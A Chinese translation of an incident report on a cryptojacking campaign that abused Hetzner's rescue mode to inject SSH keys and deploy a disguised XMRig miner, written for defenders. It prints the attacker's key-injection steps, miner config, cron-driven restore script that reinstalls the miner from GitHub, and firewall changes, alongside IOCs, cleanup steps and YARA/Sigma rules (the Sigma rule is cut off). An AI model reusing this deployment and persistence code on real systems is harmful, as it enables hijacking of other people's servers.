文章总结： 本文分析了一起针对Hetzner云基础设施的加密劫持攻击，攻击者通过窃取云控制台凭据绕过2FA，滥用救援模式API在虚拟机监视器级别注入SSH密钥，部署伪装的XMRig矿工并建立三层持久化机制。攻击涉及243次入侵尝试，采用双重变现策略。防御者应将TOTP种子与密码分开存储，监控救援模式API调用，并检查异常SSH密钥和进程命名。 综合评分： 85 文章分类： 威胁情报,恶意软件,云安全,漏洞分析,应急响应

---

云加密劫持案例：利用Hetzner救援模式注入XMRig

Dubito Dubito

云原生安全指北

2026年3月9日 08:35 江苏

注：本文翻译自 Innora 的文章《Anatomy of a Cloud Cryptojacking Campaign: XMRig via Hetzner Rescue Mode with Multi-Layer Persistence》[1]，可点击文末“阅读原文”按钮查看英文原文。

全文如下：

注：此分析基于一起真实的、涉及Hetzner Cloud VPS被入侵的事件。所有入侵指标（IOCs）、哈希值和钱包地址均来自实时调查，仅用于威胁情报共享和防御目的。

摘要

本报告对一起针对Hetzner Cloud基础设施的真实世界加密劫持活动进行了详细的技术分析。攻击者利用窃取的云控制台凭据，滥用Hetzner的救援模式API——一个虚拟机监视器（hypervisor）级别的功能——在不使用任何客户机（guest）级漏洞的情况下，将SSH密钥注入到运行中的虚拟机。攻击者部署了伪装成systemd-bench的XMRig 6.25.0，建立了一个具备自动重装能力的多层持久化架构，并试图部署RemnaWave VPN代理节点以实现双重变现。对矿池的情报分析显示，这场活动已针对多个托管服务商发起了至少243次入侵尝试，其中有35个同时活跃的挖矿节点，每日产生约0.72美元的收入。本文为防御者提供了完整的入侵指标（IOCs）、MITRE ATT&CK框架映射以及检测指南。

一、引言

云基础设施已成为加密劫持活动的主要目标。与传统的利用软件漏洞或暴力破解SSH凭据的服务器入侵不同，此活动展示了一种更高级的手法：滥用云服务提供商的控制平面API来获得虚拟机监视器（hypervisor）级别的访问权限，从而完全绕过了客户机级别的安全控制措施，包括SSH密钥限制、防火墙规则和入侵检测系统。

该事件是在一台运行Ubuntu 24.04 LTS的Hetzner Cloud VPS（实例#62482258，CX22套餐，新加坡数据中心）上发现的。该服务器托管了一个生产环境的Web应用程序，并应用了标准的安全加固措施——仅使用SSH密钥认证、启用UFW防火墙以及定期进行安全更新。然而，这些措施对于此次攻击所使用的攻击向量均无效。

此活动的关键特征：

• • 无客户机（guest）级漏洞利用：攻击者从未利用操作系统、应用程序或SSH守护进程中的漏洞。
• • 滥用云API：攻击者将Hetzner的救援模式API武器化，从客户机外部挂载并修改虚拟机的磁盘。
• • 凭据窃取绕过双因素认证2FA：云控制台的密码和TOTP种子同时从一个密码管理器中被窃取。
• • 双重变现：加密货币挖矿（XMRig/Monero）和VPN代理转售（RemnaWave）。
• • 专业自动化：一个806行的俄语安装程序，具备自动恢复、健康监控和静默重装功能。
• • 活动规模：超过243次入侵尝试，在Hetzner、Vultr及其他服务商上发现35个活跃的挖矿节点。

二、初始访问：云控制平面利用

2.1 凭据获取

攻击者通过窃密日志（stealer log）市场获取了受害者的Hetzner云控制台凭据。关键漏洞在于凭据存储的单点故障：Hetzner账户密码和TOTP双因素认证种子被存储在同一个1Password密码库中。

现代信息窃取恶意软件（如Raccoon、RedLine、Vidar、Lumma）通常会窃取以下内容：

• • 浏览器中存储的密码和自动填充数据
• • 已认证服务的会话Cookie
• • 密码管理器密码库的导出内容和剪贴板捕获信息
• • 来自~/.config/、~/.ssh/等目录的SSH密钥和API令牌

被盗的凭据很可能被打包成窃密日志，并在Telegram地下频道上出售，这些频道的凭据可按服务域名（例如hetzner.com）进行搜索。攻击者作为批量操作的一部分，专门购买了Hetzner相关的凭据。

2.2 双因素认证2FA为何失效

由于TOTP种子与密码存储在一起，攻击者可以随时生成有效的双因素认证码。这个单一数据源让攻击者获得了完整控制台访问权限，无需任何MFA绕过漏洞利用、会话劫持或实时钓鱼。

经验教训：将密码和TOTP种子存储在同一个密码库中，会将双因素认证降级为单因素认证方案。TOTP种子应存储在独立的应用程序中（例如硬件密钥、专用的认证器应用），以维持真正的双重保护。

2.3 API令牌暴露

此外，在受害者本地机器的~/.config/hcloud/cli.toml文件中，发现以明文形式存储着一个具有读写权限的Hetzner API令牌。同一个令牌还被硬编码在4个项目中的11个以上部署脚本里。API令牌完全绕过了双因素认证——它们无需密码或TOTP验证即可直接访问API。

# ~/.config/hcloud/cli.toml — 明文令牌存储（已知问题：hetznercloud/cli#808）
active_context = "innora-context"
[[contexts]]
  name = "innora-context"
  token = "YBohBHaeT7JmBXUWQJZFTPxZB1T8..."  # 完整的读写权限

三、通过救援模式注入SSH密钥

3.1 不可能的时间戳

对被入侵虚拟机的取证分析发现了一个关键异常。文件/root/.ssh/authorized_keys的修改时间为2026-03-02 01:50:22.284963858 UTC——这个时间戳恰好落在虚拟机关机和启动序列之间：

01:39:01  最后一次正常cron任务执行
01:45:35  qemu-ga: guest-ping调用（虚拟机监视器→虚拟机健康检查）
01:47:03  Systemd关机开始（所有服务停止）
01:47:03  QEMU Guest Agent停止
01:47:03  EXT4卷已卸载
01:50:22  *** authorized_keys被修改 ***（虚拟机离线，磁盘可访问）
01:51:25  新内核启动 (6.8.0-101-generic)
01:51:36  攻击者从82.162.122.144进行SSH登录

虚拟机内部的任何进程都无法在关机期间修改此文件。Cloud-init的SSH模块配置为once-per-instance，并且日志确认已跳过执行。没有systemd关机钩子或cron任务会触发文件修改。

3.2 救援模式攻击链

该修改是通过Hetzner的救援模式（Rescue Mode）执行的——这是一个虚拟机监视器（hypervisor）级别的功能，它从内存中的Debian救援系统启动虚拟机，从而允许直接访问虚拟机的磁盘：

第1步：攻击者将SSH密钥上传到Hetzner控制台
        POST /ssh_keys { "name": "sanya-key", "public_key": "ssh-ed25519 AAAA..." }

第2步：攻击者启用救援模式并指定其密钥
        POST /servers/{id}/actions/enable_rescue { "ssh_keys": ["sanya-key"] }

第3步：攻击者触发虚拟机重启
        POST /servers/{id}/actions/reboot

第4步：虚拟机关机 (01:47:03)，启动进入救援系统

第5步：攻击者使用sanya-key通过SSH登录救援系统

第6步：攻击者挂载生产磁盘
        mount /dev/sda1 /mnt

第7步：攻击者将其操作密钥追加到authorized_keys文件
        echo "ssh-ed25519 AAAA...fQwU" >> /mnt/root/.ssh/authorized_keys

第8步：攻击者从救援模式重启回正常操作系统

第9步：虚拟机正常启动 (01:51:25)

第10步：攻击者使用注入的密钥通过SSH登录 (01:51:36)

来自Hetzner控制台的证据：在控制台的“安全 > SSH密钥”部分，发现了一个名为sanya-key（指纹：4c:4a:c8:1c:a7:e3:12:15:99:65:77:f1:3b:ab:ad:b4）的未授权SSH密钥，其创建日期恰好是入侵发生的那天。

3.3 注入的操作密钥

注入到authorized_keys文件中的密钥与控制台级别的sanya-key不同。这是一种刻意的分离：

• • 控制台密钥（sanya-key）：仅用于救援模式的引导
• • 操作密钥：用于对运行中的虚拟机进行持久的SSH访问

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILzoNOiTmlWlB0tGrL7CPjHGSX+VeoOkDqeLjAeWfQwU
Fingerprint: SHA256:po9SzNdFeZY77d5wLNkx80bjjyF+bn2wveAS2j60zek

值得注意的是：该操作密钥没有注释字段——文件中所有合法的密钥都带有user@host格式的注释。缺少注释这一点与程序化/自动化密钥注入的特征相符。

四、侦察阶段

4.1 时间线：3月2日（第0天）

攻击者从82.162.122.144建立了两个并发的SSH会话，进行了2-4小时的侦察活动：

| 会话 | 持续时间 | 活动 | | — | — | — | | pts/0 | 01:51 – 03:56 (2小时4分钟) | 系统探索，进程枚举 | | pts/1 | 02:11 – 04:27 (2小时15分钟) | 深入调查，凭据发现 |

在bash_history中观察到的命令：

• • id — 权限验证（确认是root用户）
• • wget -qO - bench.sh | bash — 服务器性能基准测试（评估CPU/内存/磁盘）
• • 直接访问在bash历史记录中发现的Binance API凭据，查询账户余额

4.2 潜伏期（4天）

攻击者在接下来的4天（3月2日至6日）内没有再次登录。这种潜伏期与以下行为模式相符：

• • 批处理工作流：先入侵多个目标，之后再统一进行变现
• • 目标优先级排序：评估服务器资源，并确定部署参数
• • 行动安全（OPSEC）：在初始访问和恶意软件部署之间保持时间上的隔离

矿工名称work232_web（序号232）证实了该目标只是更大规模活动中数百个目标之一。

五、XMRig矿工：二进制文件分析

5.1 二进制文件属性

| 属性 | 值 | | — | — | | 文件名 | systemd-bench （伪装成systemd组件） | | 真实身份 | XMRig 6.25.0 | | SHA256哈希值 | 96fc528ca5e7d1c2b3add5e31b8797cb126f704976c8fbeaecdbf0aa4309ad46 | | 构建ID | 7957727edae3fe27250377f345994aa2ba7f5143 | | 文件类型 | ELF 64-bit LSB可执行文件, x86-64, 静态链接, 已去除符号表 | | 大小 | 7.9 MB (8,334,576 字节) | | 编译器 | GCC （通过.gcc_except_table段识别） | | 构建路径 | /home/buildbot/xmrig/scripts/build/ | | OpenSSL版本 | 3.0.16 （2025年2月11日）—— 静态链接 | | hwloc版本 | 2.12.1 —— 静态链接（用于CPU拓扑检测） | | 链接方式 | 完全静态链接 —— 无外部库依赖 |

5.2 静态链接策略

该二进制文件是完全静态链接的，直接嵌入了OpenSSL 3.0.16和hwloc 2.12.1。这种设计选择服务于多个目的：

• • 可移植性：无需安装依赖即可在任何Linux发行版上运行
• • 规避检测：无共享库加载事件可供监控
• • 自包含部署：单文件投放，不留包管理器痕迹
• • 抵御库更新：主机系统更新不会破坏其功能

5.3 二进制文件伪装 (T1036.005)

该二进制文件从xmrig重命名为systemd-bench，模仿合法的systemd工具。命名约定经过精心选择：

• • systemd- 前缀：与合法的systemd进程（如systemd-journald、systemd-resolved等）融为一体
• • -bench 后缀：若被质疑，可作为基准测试工具解释
• • 隐藏的安装目录：/root/.system-cache/ （以点号开头的目录）

5.4 构建基础设施

构建路径/home/buildbot/xmrig/scripts/build/表明：

• • 使用了自动化的CI/CD构建系统（buildbot用户）
• • 采用了标准的XMRig构建脚本——并非定制分支
• • 攻击者使用的是从GitHub直接下载的、未经修改的官方XMRig版本

这是商品化加密劫持的特征——操作者缺乏定制矿工二进制文件的能力或动机，而是依靠操作技术（部署脚本、持久化机制）来进行活动管理。

5.5 挖矿配置

矿工配置文件（.bench.json）揭示了攻击者的操作参数：

{
    "pools": [{
        "coin": "monero",
        "url": "pool.supportxmr.com:443",
        "user": "4ABnCJEm7Umfip66JRPJ35JtdDkM6BWrA1JqXMDMfQaVVxECJS584THY6cm4y6STLDW9H5fAGoCpebvYrj3PKWy6DiXd75r",
        "pass": "work232_web",
        "tls": true,
        "keepalive": true
    }],
    "cpu": {
        "enabled": true,
        "huge-pages": false,
        "hw-aes": true,
        "priority": 3,
        "yield": true,
        "max-threads-hint": 100,
        "asm": true
    },
    "http": { "enabled": false },
    "donate-level": 1,
    "syslog": false,
    "verbose": 0,
    "pause-on-battery": false,
    "pause-on-active": false
}

配置分析：

| 参数 | 值 | 目的 | | — | — | — | | tls: true | 通过TLS连接矿池（端口443） | 加密挖矿流量，规避网络层的深度包检测 | | keepalive: true | 保持持久连接 | 减少连接波动，避免重复DNS查询 | | http.enabled: false | 禁用XMRig HTTP API | 消除本地API被发现的可能 | | yield: true | 将CPU让给其他进程 | 减少对主机可见性能的影响 | | priority: 3 | 低于正常的CPU优先级 | 最小化对合法工作负载的影响 | | verbose: 0 | 最小化日志记录 | 减少磁盘I/O和日志文件大小 | | syslog: false | 不输出到syslog | 避免在系统日志中留下痕迹 | | donate-level: 1 | 1%算力捐赠给XMRig开发者 | 默认值——攻击者未禁用捐赠 | | pause-on-active: false | 从不暂停 | 服务器环境——无需隐藏交互式用户 |

pass字段包含矿工名称work232_web，该名称也用作矿池控制面板中的标识符。后缀_web来源于主机名的最后3个字符，为攻击者提供了对受感染主机类型的快速参考。

六、安装脚本：完整代码分析

6.1 概述

安装脚本（install_bench.sh）是一个806行的Bash脚本，完全用俄语编写。它是一个完整的XMRig部署和管理框架，支持交互式和静默两种模式。

文件头：

#!/bin/bash
#==============================================================================
# XMRig Auto Installer & Manager
# Автоматическая установка с защитой от удаления
# (Automatic installation with deletion protection)
#==============================================================================

6.2 系统检测

脚本以操作系统和架构检测开始：

detect_system() {
    OS_TYPE=$(uname -s | tr '[:upper:]' '[:lower:]')  # linux, freebsd
    ARCH=$(uname -m)  # x86_64, aarch64/arm64
}

支持的平台：

• • Linux x86_64（主要目标）
• • Linux ARM64
• • FreeBSD x86_64
• • FreeBSD ARM64

对FreeBSD的支持表明攻击者同样瞄准基于BSD的托管环境（例如DigitalOcean FreeBSD云主机）。

6.3 版本发现

脚本会动态查询GitHub Releases API以发现可用的XMRig版本：

get_available_versions() {
    VERSIONS_JSON=$(curl -s --max-time 10 \
        https://api.github.com/repos/xmrig/xmrig/releases)
    # 提取版本标签，并验证目标平台的二进制文件是否可用
    # 若失败，则回退到硬编码的版本：6.22.0， 6.21.3, 6.20.0
}

这种方法确保安装程序始终部署最新的可用版本，而无需硬编码下载URL。回退版本机制提供了应对GitHub API速率限制的弹性。

6.4 矿工命名约定

get_worker_name() {
    HOSTNAME_SUFFIX=$(hostname | tail -c 4)
    # 提示攻击者输入基础名称，并附加主机名后缀
    WORKER_NAME="${WORKER_BASE}_${HOSTNAME_SUFFIX}"
}

命名模式{base}_{hostname_suffix}创建了唯一的矿工标识符，其中编码了以下信息：

• • 基础名（base）：攻击者分配的序号（例如work232）
• • 后缀（suffix）：主机名的最后3个字符（例如从innora-web中提取的web）

这种结构化的命名使攻击者能够：

• • 在矿池控制面板中追踪单个受感染的主机
• • 快速识别和分类受感染的基础设施
• • 检测矿工何时离线（表明已被清理或发现）

6.5 下载与部署

get_download_url() {
    DOWNLOAD_FILE="xmrig-${XMRIG_VERSION}-linux-static-x64.tar.gz"
    DOWNLOAD_URL="https://github.com/xmrig/xmrig/releases/download/v${XMRIG_VERSION}/${DOWNLOAD_FILE}"
}

二进制文件直接从官方GitHub发布页面下载——攻击者并未在个人基础设施上托管修改后的二进制文件。解压后：

# 将 xmrig 重命名为 systemd-bench（伪装）
mv "$FOUND_BINARY" "$BINARY_NAME" && chmod +x "$BINARY_NAME"
# 清理下载残留
rm -rf xmrig-* xmrig.tar.gz

6.6 管理工具

安装程序在/usr/local/bin/目录下创建了两个便捷脚本：

miner-status：显示进程ID（PID）、CPU/内存使用率、运行时间和最近的挖矿统计信息。

ps -p "$PID" -o %cpu,%mem,etime --no-headers
tail -50 "$LOG_FILE" | grep -E "(speed|accepted)" | tail -3

miner-stop：先通过SIGTERM信号优雅终止，必要时升级为SIGKILL信号，并执行pkill -f进行清理。

这些工具表明攻击者会手动管理受感染的主机——他们会定期通过SSH登录，检查挖矿状态、调整线程数或排查问题。

七、持久化架构

持久化设计是本次攻击活动中最复杂的部分。它实现了一个三层架构，能够在二进制文件被删除、进程被终止以及系统重启后依然存活。

7.1 第一层：Cron定时任务持久化 (T1053.003)

@reboot sleep 90 && /etc/xmrig-restore/restore.sh
*/30 * * * * /etc/xmrig-restore/restore.sh

• • 启动持久化：重启后，等待90秒（让系统服务稳定下来），然后检查矿工状态
• • 健康监控：每30分钟验证矿工是否在运行，必要时重启
• • 90秒的启动延迟可以避免与系统初始化进程竞争资源，并减少启动初期可疑的进程模式

7.2 第二层：恢复脚本

/etc/xmrig-restore/restore.sh 实现了一个两阶段恢复机制：

#!/bin/bash
source /etc/xmrig-restore/config.env 2>/dev/null || exit 1

# 阶段1：检查二进制文件是否存在
if [ ! -f "$INSTALL_DIR/$BINARY_NAME" ]; then
    echo "$(date): Miner not found, starting reinstall" >> /var/log/xmrig-restore.log
    cd /etc/xmrig-restore
    ./install_bench.sh --silent  # 从GitHub完全重新安装
    exit 0
fi

# 阶段2：检查进程是否存活
if [ -f "$PID_FILE" ]; then
    PID=$(cat "$PID_FILE")
    if ps -p "$PID" > /dev/null 2>&1; then
        exit 0  # 正常运行
    fi
fi

# 重启已停止的进程
nohup ./"$BINARY_NAME" --config="$CONFIG_NAME" --threads="$THREADS" > "$LOG_NAME" 2>&1 &
echo $! > "$PID_FILE"

恢复能力：

• • 如果二进制文件被删除：触发从GitHub的完全重新安装
• • 如果进程崩溃：使用现有的二进制文件重新启动
• • 如果PID文件失效：清理并重新启动
• • 所有事件都会记录到 /var/log/xmrig-restore.log 中

7.3 第三层：配置备份

/etc/xmrig-restore/config.env 存储了所有部署参数：

WORKER_NAME="work232_web"
THREADS=2
XMRIG_VERSION="6.25.0"
XMR_WALLET="4ABnCJEm7Umfip66...DiXd75r"
POOL_URL="pool.supportxmr.com:443"
INSTALL_DIR="/root/.system-cache"
BINARY_NAME="systemd-bench"
CONFIG_NAME=".bench.json"
PID_FILE="/var/run/.bench.pid"

这使得 install_bench.sh 的 --silent 模式能够在无需交互输入的情况下执行完整的重新安装——当由cron定时任务触发时，恢复脚本会传递此标志。

7.4 持久化文件系统布局

/root/.system-cache/           # 隐藏的安装目录
├── systemd-bench              # XMRig 二进制文件（已伪装）
├── .bench.json                # 挖矿配置文件
├── .bench.log                 # 挖矿输出日志
└── .bench.pid → /var/run/     # PID 文件（符号链接）

/etc/xmrig-restore/            # 持久化目录
├── install_bench.sh           # 完整安装程序（副本）
├── restore.sh                 # 健康检查 + 重启脚本
└── config.env                 # 部署参数备份

/usr/local/bin/                 # 管理工具
├── miner-status               # 状态检查工具
└── miner-stop                 # 优雅终止工具

/var/run/.bench.pid             # 运行时 PID 文件
/var/log/xmrig-restore.log     # 恢复事件日志

7.5 如何清除该持久化机制

要彻底移除这个持久化系统，必须处理所有层面：

# 1. 终止进程
kill -9 $(cat /var/run/.bench.pid); pkill -f systemd-bench

# 2. 移除cron定时任务
crontab -l | grep -v xmrig-restore | crontab -

# 3. 删除所有文件
rm -rf /root/.system-cache/ /root/.system/ /etc/xmrig-restore/
rm -f /usr/local/bin/miner-status /usr/local/bin/miner-stop
rm -f /var/run/.bench.pid /var/log/xmrig-restore.log

# 4. 从authorized_keys中移除攻击者的SSH密钥

仅删除二进制文件或终止进程，而不处理cron定时任务和/etc/xmrig-restore/目录，将导致30分钟内自动重新安装。

八、网络规避与C2特征

8.1 TLS加密的挖矿流量

矿工使用TLS加密连接到pool.supportxmr.com:443。通过使用标准的HTTPS端口（443）和TLS协议，挖矿流量表现出以下特征：

• • 在网络层与HTTPS流量无法区分
• • 在不进行TLS解密的情况下难以进行深度包检测
• • 能抵抗基于签名的IDS（入侵检测系统）（因为Stratum协议是加密的）

矿池IP 141.95.72.60（OVH，德国）暴露了标准的挖矿基础设施：

• • 端口443：TLS加密挖矿（本活动使用）
• • 端口3333/5555/7777：明文Stratum协议
• • 端口18080：Monero RPC
• • 端口9000：额外的挖矿接入点

8.2 无传统C2信道

本次攻击活动没有使用传统的命令与控制服务器。相反，控制是通过以下方式实现的：

1. 1. 直接的SSH访问：攻击者注入的SSH密钥提供了按需的root访问权限，用于手动管理
2. 2. 矿池作为隐式C2：矿池连接提供了一个心跳信号——攻击者通过SupportXMR控制面板监控矿工状态
3. 3. Cron定时任务作为调度器：恢复脚本充当本地任务调度器，确保持续运行

这种“无C2”架构使得通过捣毁C2服务器来阻断活动变得更加困难——因为没有单一的、可供阻断的基础设施节点（矿池是拥有许多用户的合法服务）。

8.3 网络修改

攻击者为优化性能修改了主机的网络栈：

# BBR拥塞控制（减少数据包丢失，提高吞吐量）
modprobe tcp_bbr
echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf
sysctl -p

BBR（瓶颈带宽和往返时间）是谷歌的TCP拥塞控制算法。启用它可以提高矿池连接的稳定性，特别是在网络质量不一的VPS实例上。

8.4 防火墙修改

ufw allow 2222    # RemnaWave VPN节点端口
ufw allow 8443    # RemnaWave/代理
ufw allow 3443    # RemnaWave/代理
ufw allow 443     # TLS（挖矿已使用）
ufw allow 58888   # 未知服务

这些防火墙更改是为了部署RemnaWave VPN节点（最终未能成功部署）。挖矿流量本身无需更改防火墙，因为出站连接到443端口通常是默认允许的。

九、RemnaWave VPN：双重变现

9.1 什么是RemnaWave？

RemnaWave 是一个基于 Xray-core 构建的合法开源代理管理面板。它提供以下功能：

• • 支持 VLESS、VMess 和 Trojan 协议
• • 带有订阅追踪功能的用户管理面板
• • 用于用户配置的 Telegram 机器人集成
• • 用于分布式代理基础设施的节点管理

它在俄罗斯及CIS国家常被用于规避互联网审查。

9.2 攻击者的部署

攻击者通过 Docker 部署了一个 RemnaWave 节点（而非管理面板）：

# /opt/remnanode/docker-compose.yml
services:
  remnawave-node:
    image: remnawave/node:latest
    network_mode: host
    ports:
      - "2222:2222"
    environment:
&nbsp; &nbsp; &nbsp; -&nbsp;SECRET_KEY=<base64-encoded-key>&nbsp; # 连接到攻击者的面板
&nbsp; &nbsp; &nbsp; -&nbsp;NODE_PORT=2222

network_mode: host 配置使得容器可以完全访问主机的网络栈，而 SECRET_KEY 则将该节点连接到攻击者的中央管理面板。

9.3 双重变现模式

这次部署揭示了一种双重变现策略：

| 收入来源 | 工具 | 盈利模式 | | — | — | — | | 加密货币挖矿 | XMRig | 通过CPU算力直接获得门罗币收益 | | 代理转售 | RemnaWave | 通过被入侵的IP地址出售VPN/代理访问权限 |

代理转售的利润可能高于挖矿——来自不同地理位置的住宅或数据中心IP在灰色/黑色市场上价格不菲。每个被入侵的VPS都提供了一个独特的出口IP。

9.4 VPN部署失败

RemnaWave 容器从未成功启动过——在被发现时，docker ps 命令的输出中并未找到它。可能的原因包括：

• • Docker 镜像拉取失败
• • 容器配置错误
• • 系统资源在运行矿工后不足
• • 攻击者可能已放弃此项部署，专注于挖矿

十、矿池情报

10.1 钱包仪表盘

在 SupportXMR 矿池的公共仪表盘上查询了攻击者的门罗币钱包，结果如下：

| 指标 | 数值 | | — | — | | 总门罗币收益 | ~0.98 XMR（按 计算，约合147 美元） | | 当前算力 | 62.2 KH/s | | 8小时平均算力 | 61.5 KH/s | | 总计算哈希数 | 1.21 万亿 | | 活跃矿工数 | 35 | | 无效份额 | 0 | | 预估日收益 | 0.0048 XMR/天（约合 $0.72 美元） |

10.2 矿工分类

35个活跃矿工遵循结构化的命名约定：

类别 1：het —— Hetzner 基础设施（4个矿工，占总算力46%）

| 矿工名 | 算力 | 分析 | | — | — | — | | het1_et1 | 4.5 KH/s | 可能是 2-4 CPU 核心的 Hetzner VPS | | het2_et2 | 8.5 KH/s | 可能是 4-8 CPU 核心的 Hetzner VPS | | het3_et3 | 5.9 KH/s | 可能是 2-4 CPU 核心的 Hetzner VPS | | het4_et4 | 9.5 KH/s | 可能是 4-8 CPU 核心的 Hetzner VPS |

这些可能代表攻击者自己的 Hetzner 实例或其他被入侵的客户服务器。

类别 2：work —— 被入侵的受害主机（30个矿工）

矿工名称通过后缀编码了地理和域名情报：

• • .ru —— 俄罗斯域名主机
• • lon —— 伦敦数据中心
• • ntu —— 可能是 NTU（大学）
• • com/net —— 商业托管目标
• • 2gb —— 拥有 2GB 内存的服务器（攻击者追踪规格）
• • yar —— 可能是雅罗斯拉夫尔（俄罗斯城市）

矿工编号范围从 work11 到 work243，表明总共超过 243 次入侵尝试，存活率约为 14%（35 活跃 / 243 尝试）。

类别 3：vu —— 其他服务商（1个矿工）

| 矿工名 | 算力 | 分析 | | — | — | — | | vu1_ltr | 438 H/s | 可能是 Vultr VPS |

10.3 我们被入侵的服务器

矿工 work232_web 在矿池仪表盘中显示为 OFFLINE（离线），确认已成功清理。

10.4 攻击活动经济效益

| 指标 | 数值 | | — | — | | 日收入 | ~$0.72 美元 | | 月收入 | ~$21.60 美元 | | 迄今总收入 | ~$147 美元 | | 活跃基础设施 | 35 个矿工 | | 估计总尝试次数 | 243+ 次 | | 每矿工每日收入 | ~$0.02 美元 |

如此低的财务收益（0.72美元/天）证实这是一次机会主义的、自动化的操作。由于所有计算资源都是偷来的（运营成本为零），微薄的收入也是可以接受的。攻击者的实际成本是购买凭据和部署矿工所花费的时间。

十一、攻击者OPSEC评估

11.1 归因指标

| 指标 | 值 | 置信度 | | — | — | — | | SSH密钥名称 | “sanya-key” （Саня —— 亚历山大的俄语昵称） | 高 | | 源IP地址 | 82.162.122.144 （俄罗斯，Vladivostok，MTS公共股份公司） | 高 | | 脚本语言 | 全程使用俄语（注释、提示、错误信息） | 已确认 | | 矿工命名 | 包含 .ru 后缀，yar （雅罗斯拉夫尔） | 中等 | | RemnaWave | 在俄罗斯VPN/代理社区中流行 | 中等 |

11.2 OPSEC弱点

攻击者表现出较差的操作安全性：

1. 1. 未清理日志：bash_history 包含完整的攻击序列，包括安装程序命令
2. 2. 未篡改时间戳：文件修改时间揭示了精确的攻击时间线
3. 3. 使用住宅IP：未使用Tor、VPN或防弹主机——SSH登录IP可追溯到Vladivostok的一个住宅ISP
4. 4. 个人标识符：”sanya-key” 这个名称可能暴露了其名字
5. 5. 使用未修改的XMRig：除了简单的重命名外，没有进行二进制定制、哈希混淆或进程名随机化
6. 6. 遗留管理工具：遗留在 /usr/local/bin/ 中的 miner-status 和 miner-stop 提供了额外的取证证据

11.3 威胁行为者画像

根据现有证据，对攻击者的评估如下：

• • 个人或小团体（非有组织犯罪或APT）
• • 俄语使用者（母语水平，非机器翻译）
• • 中等技术能力：能利用云API，能力高于平均水平，但OPSEC失误表明其反取证经验有限
• • 经济动机驱动：使用现成工具进行双重变现（挖矿 + 代理转售）
• • 规模化操作：超过243个目标表明其操作自动化和批量购买凭据

十二、MITRE ATT&CK 映射

| 战术 | ID | 技术名称 | 证据 | | — | — | — | — | | 初始访问 | T1078.004 | 有效账户：云账户 | 窃取的 Hetzner 控制台凭据 | | 持久化 | T1098.004 | 账户操纵：SSH 授权密钥 | 通过救援模式注入密钥 | | 持久化 | T1053.003 | 计划任务/作业：Cron | @reboot + */30 * * * * restore.sh | | 防御规避 | T1036.005 | 伪装：匹配合法名称 | systemd-bench 模仿 systemd | | 防御规避 | T1027.002 | 混淆文件：软件加壳 | 静态链接、已去除符号表的二进制文件 | | 防御规避 | T1070.003 | 指标移除：清除命令历史 | 未执行（OPSEC失误） | | 发现 | T1057 | 进程发现 | 侦察期间使用 htop | | 凭据访问 | T1552.001 | 未安全存储的凭据：文件中的凭据 | 从 bash_history 获取的 Binance API 密钥 | | 影响 | T1496 | 资源劫持 | XMRig 占用 195% CPU（2个完整核心） | | 命令与控制 | T1572 | 协议隧道 | RemnaWave VPN 节点（尝试部署） | | 命令与控制 | T1071.001 | 应用层协议：Web | 通过端口 443 的 TLS 加密 Stratum 协议 | | 数据渗出 | T1041 | 通过 C2 通道渗出 | 挖矿输出通过矿池连接发送 |

十三、检测与追踪指南

13.1 基于主机的检测

进程指标：

# 检测伪装的 XMRig 进程
ps aux | grep -E 'systemd-bench|\.bench\.' | grep -v grep

# 通过 CPU 模式检测 XMRig（每个线程接近 100%）
ps aux --sort=-%cpu | head -5

# 检查隐藏的挖矿目录
ls -la /root/.system-cache/ /root/.system/ 2>/dev/null

# 检查 cron 定时任务中的持久化
crontab -l | grep -E 'xmrig|restore|bench'

# 检查恢复基础设施
ls -la /etc/xmrig-restore/ 2>/dev/null

# 检查管理工具
ls -la /usr/local/bin/miner-* 2>/dev/null

基于文件的指标：

# 搜索 XMRig 配置文件
find / -name "*.json" -exec grep -l "pool.supportxmr.com\|xmrig\|monero" {} \; 2>/dev/null

# 通过字符串搜索 XMRig 二进制文件
find / -type f -executable -exec sh -c 'strings "$1" 2>/dev/null | grep -q "XMRig" && echo "$1"' _ {} \; 2>/dev/null

# 检查未授权的 SSH 密钥（没有注释的密钥视为可疑）
grep -v '#' /root/.ssh/authorized_keys | while read line; do
  echo "$line" | grep -q '@' || echo "SUSPICIOUS (no comment): $line"
done

13.2 基于网络的检测

矿池连接：

# 检测到已知矿池的连接
ss -tnp | grep -E ':443|:3333|:5555|:7777' | grep -v nginx

# 基于 DNS 的检测
grep -E 'supportxmr|nanopool|hashvault|minexmr|pool\.' /var/log/syslog

# 检测高带宽的持续出站连接
# （挖矿产生稳定、低带宽的流量——约 1-5 KB/s）

TLS 证书分析： 矿池通常使用自签名证书。监控端口 443 上连接到使用自签名证书的主机的 TLS 连接，有助于识别加密的挖矿流量。

13.3 云控制平面监控

特别针对 Hetzner 云：

# 监控 Hetzner API 的可疑操作
# 检查：enable_rescue， reboot， ssh_keys creation
# 如果不是已知自动化触发，应针对这些操作发出警报

# 审查 Hetzner 控制台中的 SSH 密钥
# 任何团队未识别的密钥都是入侵指标

# 监控 API 令牌的创建/使用
# 新令牌或来自陌生 IP 的令牌使用应触发警报

13.4 YARA 规则

rule XMRig_Cryptojacker_SystemdBench {
    meta:
        description = "Detects XMRig masquerading as systemd-bench"
        author = "Innora Security"
        date = "2026-03-08"
        reference = "Hetzner Cloud Cryptojacking Campaign"
    strings:
        $xmrig1 = "XMRig" ascii
        $xmrig2 = "xmrig" ascii
        $pool1 = "supportxmr.com" ascii
        $pool2 = "stratum+tcp://" ascii
        $pool3 = "stratum+ssl://" ascii
        $bench1 = "systemd-bench" ascii
        $bench2 = ".bench.json" ascii
        $build = "/home/buildbot/xmrig" ascii
        $randomx = "RandomX" ascii
    condition:
        uint32(0) == 0x464C457F and  // ELF magic
&nbsp; &nbsp; &nbsp; &nbsp; filesize >&nbsp;5MB and filesize <&nbsp;15MB and
&nbsp; &nbsp; &nbsp; &nbsp; (2&nbsp;of ($xmrig*,&nbsp;$pool*,&nbsp;$randomx)) or
&nbsp; &nbsp; &nbsp; &nbsp; (1&nbsp;of ($bench*) and&nbsp;1&nbsp;of ($xmrig*)) or
&nbsp; &nbsp; &nbsp; &nbsp; ($build)
}

13.5 Sigma 规则

title: XMRig Cryptojacker via systemd-bench Masquerading
id: a1b2c3d4-5678-90ab-cdef-123456789abc
status: experimental
description: Detects XMRig miner masquerading as systemd-bench
logsource:
    category: process_creation
    product: linux
detection:
    selection_name:
        Image|endswith: '/systemd-bench'
